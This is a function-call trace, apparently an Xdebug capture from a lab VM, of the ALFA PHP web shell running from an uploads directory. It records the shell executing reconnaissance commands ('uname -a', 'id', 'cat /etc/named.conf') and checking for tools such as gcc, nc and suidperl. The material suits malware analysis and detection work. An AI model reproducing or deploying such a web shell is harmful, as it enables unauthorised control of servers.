4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.mysql_tables{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'mysql_table_count'
5	252	0	0.026094	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'mysql_table_count'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
5	252	1	0.026120	2802648
5	252	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.mysql_table_count{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'copyright'
5	253	0	0.026168	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'copyright'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#dfff00'
5	253	1	0.026193	2802648
5	253	R			'#dfff00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#dfff00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.copyright{color: #dfff00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'scrollbar'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '*::-webkit-scrollbar-thumb'
5	254	0	0.026250	2802648	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'scrollbar'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5	254	1	0.026282	2802648
5	254	R			'#1e82b5'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#1e82b5'
5	255	0	0.026307	2802648	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#1e82b5'	'background-color: {color};'
5	255	1	0.026323	2802800
5	255	R			'background-color: #1e82b5;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #1e82b5;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'scrollbar_background'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '*::-webkit-scrollbar-track'
5	256	0	0.026390	2803672	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'scrollbar_background'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5	256	1	0.026422	2803672
5	256	R			'#000115'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#000115'
5	257	0	0.026447	2803672	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#000115'	'background-color: {color};'
5	257	1	0.026463	2803824
5	257	R			'background-color: #000115;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #000115;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4	126	1	0.026506	2803616
4	126	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4	258	0	0.026779	2787232	htmlspecialchars	0		/var/www/html/uploads/FileManagerFull.php	1073	1	'/var/www/html/uploads/'
4	258	1	0.026800	2787424
4	258	R			'/var/www/html/uploads/'
4	259	0	0.026817	2787344	htmlspecialchars	0		/var/www/html/uploads/FileManagerFull.php	1074	1	'FilesMan2'
4	259	1	0.026848	2787536
4	259	R			'FilesMan2'
4	260	0	0.026863	2787392	htmlspecialchars	0		/var/www/html/uploads/FileManagerFull.php	1075	1	'Windows-1251'
4	260	1	0.026878	2787584
4	260	R			'Windows-1251'
4	261	0	0.027658	2799520	__showicon	1		/var/www/html/uploads/FileManagerFull.php	1086	1	'loader'
4		A						/var/www/html/uploads/FileManagerFull.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	261	1	0.027720	2799520
4	261	R			'http://solevisible.com/images/loader.svg'
4	262	0	0.027739	2799520	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	1087	4	'uname -a'	FALSE	FALSE	???
5	263	0	0.027755	2799520	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'uname -a'	FALSE
5		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
6	264	0	0.027783	2799520	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
6	264	1	0.027797	2799560
6	264	R			TRUE
6	265	0	0.027810	2799544	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'uname -a'	''
6	265	1	0.029174	2800304
6	265	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	266	0	0.029221	2800080	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6	266	1	0.029244	2800144
6	266	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/FileManagerFull.php	763	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	263	1	0.029285	2799680
5	263	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/FileManagerFull.php	744	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	262	1	0.029322	2799680
4	262	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3		A						/var/www/html/uploads/FileManagerFull.php	1087	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	267	0	0.029358	2799680	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1088	1	'php_uname'
4	267	1	0.029374	2799720
4	267	R			TRUE
4	268	0	0.029388	2799680	php_uname	0		/var/www/html/uploads/FileManagerFull.php	1088	0
4	268	1	0.029403	2799792
4	268	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	269	0	0.029422	2799792	substr	0		/var/www/html/uploads/FileManagerFull.php	1088	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
4	269	1	0.029440	2799888
4	269	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/FileManagerFull.php	1088	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s = 1
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
3		A						/var/www/html/uploads/FileManagerFull.php	1098	$s++
4	270	0	0.029581	2801072	phpversion	0		/var/www/html/uploads/FileManagerFull.php	1116	0
4	270	1	0.029594	2801136
4	270	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	271	0	0.029612	2801584	date	0		/var/www/html/uploads/FileManagerFull.php	1124	1	'Y-m-d H:i:s'
4	271	1	0.029673	2803936
4	271	R			'2023-02-12 16:44:44'
4	272	0	0.029696	2801856	_alfa_file	1		/var/www/html/uploads/FileManagerFull.php	1130	2	'/etc/named.conf'	FALSE
5	273	0	0.029713	2801856	file	0		/var/www/html/uploads/FileManagerFull.php	2507	1	'/etc/named.conf'
5	273	1	0.029742	2802008
5	273	R			FALSE
4		A						/var/www/html/uploads/FileManagerFull.php	2507	$array = FALSE
5	274	0	0.029768	2801968	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2509	4	'id'	FALSE	FALSE	???
6	275	0	0.029783	2801968	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'id'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	276	0	0.029807	2801968	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	276	1	0.029821	2802008
7	276	R			TRUE
7	277	0	0.029833	2801992	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'id'	''
7	277	1	0.031257	2802592
7	277	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	278	0	0.031284	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	278	1	0.031302	2802512
7	278	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	275	1	0.031332	2802048
6	275	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	274	1	0.031362	2802048
5	274	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	279	0	0.031379	2801968	addslashes	0		/var/www/html/uploads/FileManagerFull.php	2510	1	'/etc/named.conf'
5	279	1	0.031393	2802000
5	279	R			'/etc/named.conf'
5	280	0	0.031409	2802016	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2510	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
6	281	0	0.031425	2802016	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'cat "/etc/named.conf"'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	282	0	0.031451	2802016	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	282	1	0.031471	2802056
7	282	R			TRUE
7	283	0	0.031485	2802040	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'cat "/etc/named.conf"'	''
7	283	1	0.032662	2802160
7	283	R			''
7	284	0	0.032685	2802096	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	284	1	0.032700	2802160
7	284	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	281	1	0.032726	2802016
6	281	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	280	1	0.032751	2802016
5	280	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2510	$data = ''
4	272	1	0.032775	2801968
4	272	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1130	$d0mains = FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1131	GLOBALS['need_to_update_header'] = 'true'
4	285	0	0.032817	2801968	alfaSize	1		/var/www/html/uploads/FileManagerFull.php	1146	1	232015802368
5	286	0	0.032832	2801968	sprintf	0		/var/www/html/uploads/FileManagerFull.php	2411	2	'%1.2f'	216.08155441284
5	286	1	0.032849	2802352
5	286	R			'216.08'
4	285	1	0.032863	2802008
4	285	R			'216.08 GB'
4	287	0	0.032878	2802192	alfaSize	1		/var/www/html/uploads/FileManagerFull.php	1146	1	208211271680
5	288	0	0.032892	2802192	sprintf	0		/var/www/html/uploads/FileManagerFull.php	2411	2	'%1.2f'	193.91185760498
5	288	1	0.032906	2802576
5	288	R			'193.91'
4	287	1	0.032920	2802232
4	287	R			'193.91 GB'
3		A						/var/www/html/uploads/FileManagerFull.php	1149	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4	289	0	0.032961	2801968	ini_get	0		/var/www/html/uploads/FileManagerFull.php	1150	1	'safe_mode'
4	289	1	0.032976	2802000
4	289	R			FALSE
4	290	0	0.032990	2801968	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	1151	4	'id'	FALSE	FALSE	???
5	291	0	0.033004	2801968	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'id'	FALSE
5		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
6	292	0	0.033029	2801968	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
6	292	1	0.033042	2802008
6	292	R			TRUE
6	293	0	0.033055	2801992	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'id'	''
6	293	1	0.034370	2802592
6	293	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	294	0	0.034397	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6	294	1	0.034416	2802512
6	294	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/FileManagerFull.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	291	1	0.034446	2802048
5	291	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/FileManagerFull.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4	290	1	0.034476	2802048
4	290	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3		A						/var/www/html/uploads/FileManagerFull.php	1153	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3		A						/var/www/html/uploads/FileManagerFull.php	1154	$x = 0
4	295	0	0.034529	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'gcc'
5	296	0	0.034544	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which gcc'	FALSE	FALSE	???
6	297	0	0.034559	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which gcc'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	298	0	0.034584	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	298	1	0.034598	2802048
7	298	R			TRUE
7	299	0	0.034612	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which gcc'	''
7	299	1	0.035660	2802552
7	299	R			'/usr/bin/gcc'
7	300	0	0.035685	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/gcc']
7	300	1	0.035702	2802512
7	300	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/gcc'
6	297	1	0.035729	2802048
6	297	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/gcc'
5	296	1	0.035755	2802048
5	296	R			'/usr/bin/gcc'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/gcc'
4	295	1	0.035780	2801968
4	295	R			12
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	301	0	0.035805	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'lcc'
5	302	0	0.035819	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which lcc'	FALSE	FALSE	???
6	303	0	0.035835	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which lcc'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	304	0	0.035859	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	304	1	0.035873	2802048
7	304	R			TRUE
7	305	0	0.035887	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which lcc'	''
7	305	1	0.036922	2802152
7	305	R			''
7	306	0	0.036946	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	306	1	0.036961	2802152
7	306	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	303	1	0.036987	2802008
6	303	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	302	1	0.037012	2802008
5	302	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	301	1	0.037035	2801968
4	301	R			FALSE
4	307	0	0.037049	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'cc'
5	308	0	0.037070	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which cc'	FALSE	FALSE	???
6	309	0	0.037086	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which cc'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	310	0	0.037112	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	310	1	0.037126	2802048
7	310	R			TRUE
7	311	0	0.037139	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which cc'	''
7	311	1	0.038276	2802552
7	311	R			'/usr/bin/cc'
7	312	0	0.038305	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/cc']
7	312	1	0.038323	2802512
7	312	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/cc'
6	309	1	0.038351	2802048
6	309	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/cc'
5	308	1	0.038377	2802048
5	308	R			'/usr/bin/cc'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/cc'
4	307	1	0.038402	2801968
4	307	R			11
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	313	0	0.038428	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'ld'
5	314	0	0.038443	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which ld'	FALSE	FALSE	???
6	315	0	0.038458	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which ld'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	316	0	0.038484	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	316	1	0.038498	2802048
7	316	R			TRUE
7	317	0	0.038511	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which ld'	''
7	317	1	0.039811	2802552
7	317	R			'/usr/bin/ld'
7	318	0	0.039856	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/ld']
7	318	1	0.039940	2802512
7	318	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/ld'
6	315	1	0.039971	2802048
6	315	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/ld'
5	314	1	0.039998	2802048
5	314	R			'/usr/bin/ld'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/ld'
4	313	1	0.040024	2801968
4	313	R			11
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	319	0	0.040052	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'make'
5	320	0	0.040067	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which make'	FALSE	FALSE	???
6	321	0	0.040083	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which make'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	322	0	0.040110	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	322	1	0.040126	2802048
7	322	R			TRUE
7	323	0	0.040139	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which make'	''
7	323	1	0.041444	2802552
7	323	R			'/usr/bin/make'
7	324	0	0.041475	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/make']
7	324	1	0.041493	2802512
7	324	R			'/usr/bin/make'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/make'
6	321	1	0.041522	2802048
6	321	R			'/usr/bin/make'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/make'
5	320	1	0.041548	2802048
5	320	R			'/usr/bin/make'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/make'
4	319	1	0.041573	2801968
4	319	R			13
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	325	0	0.041599	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'php'
5	326	0	0.041621	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which php'	FALSE	FALSE	???
6	327	0	0.041638	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which php'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	328	0	0.041663	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	328	1	0.041678	2802048
7	328	R			TRUE
7	329	0	0.041691	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which php'	''
7	329	1	0.042893	2802552
7	329	R			'/usr/bin/php'
7	330	0	0.042921	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/php']
7	330	1	0.042939	2802512
7	330	R			'/usr/bin/php'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/php'
6	327	1	0.042968	2802048
6	327	R			'/usr/bin/php'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/php'
5	326	1	0.042995	2802048
5	326	R			'/usr/bin/php'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/php'
4	325	1	0.043020	2801968
4	325	R			12
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	331	0	0.043046	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'perl'
5	332	0	0.043061	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which perl'	FALSE	FALSE	???
6	333	0	0.043076	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which perl'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	334	0	0.043102	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	334	1	0.043116	2802048
7	334	R			TRUE
7	335	0	0.043129	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which perl'	''
7	335	1	0.044417	2802552
7	335	R			'/usr/bin/perl'
7	336	0	0.044443	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/perl']
7	336	1	0.044460	2802512
7	336	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/perl'
6	333	1	0.044488	2802048
6	333	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/perl'
5	332	1	0.044513	2802048
5	332	R			'/usr/bin/perl'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/perl'
4	331	1	0.044538	2801968
4	331	R			13
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	337	0	0.044562	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'python'
5	338	0	0.044577	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which python'	FALSE	FALSE	???
6	339	0	0.044592	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which python'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	340	0	0.044618	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	340	1	0.044632	2802048
7	340	R			TRUE
7	341	0	0.044645	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which python'	''
7	341	1	0.045809	2802152
7	341	R			''
7	342	0	0.045831	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	342	1	0.045847	2802152
7	342	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	339	1	0.045872	2802008
6	339	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	338	1	0.045896	2802008
5	338	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	337	1	0.045920	2801968
4	337	R			FALSE
4	343	0	0.045934	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'ruby'
5	344	0	0.045948	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which ruby'	FALSE	FALSE	???
6	345	0	0.045963	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which ruby'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	346	0	0.045995	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	346	1	0.046009	2802048
7	346	R			TRUE
7	347	0	0.046022	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which ruby'	''
7	347	1	0.047177	2802152
7	347	R			''
7	348	0	0.047199	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	348	1	0.047215	2802152
7	348	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	345	1	0.047241	2802008
6	345	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	344	1	0.047265	2802008
5	344	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	343	1	0.047289	2801968
4	343	R			FALSE
4	349	0	0.047302	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'tar'
5	350	0	0.047316	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which tar'	FALSE	FALSE	???
6	351	0	0.047332	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which tar'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	352	0	0.047357	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	352	1	0.047371	2802048
7	352	R			TRUE
7	353	0	0.047383	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which tar'	''
7	353	1	0.048576	2802552
7	353	R			'/usr/bin/tar'
7	354	0	0.048602	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/tar']
7	354	1	0.048619	2802512
7	354	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/tar'
6	351	1	0.048647	2802048
6	351	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/tar'
5	350	1	0.048673	2802048
5	350	R			'/usr/bin/tar'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/tar'
4	349	1	0.048698	2801968
4	349	R			12
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	355	0	0.048724	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'gzip'
5	356	0	0.048738	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which gzip'	FALSE	FALSE	???
6	357	0	0.048754	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which gzip'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	358	0	0.048779	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	358	1	0.048794	2802048
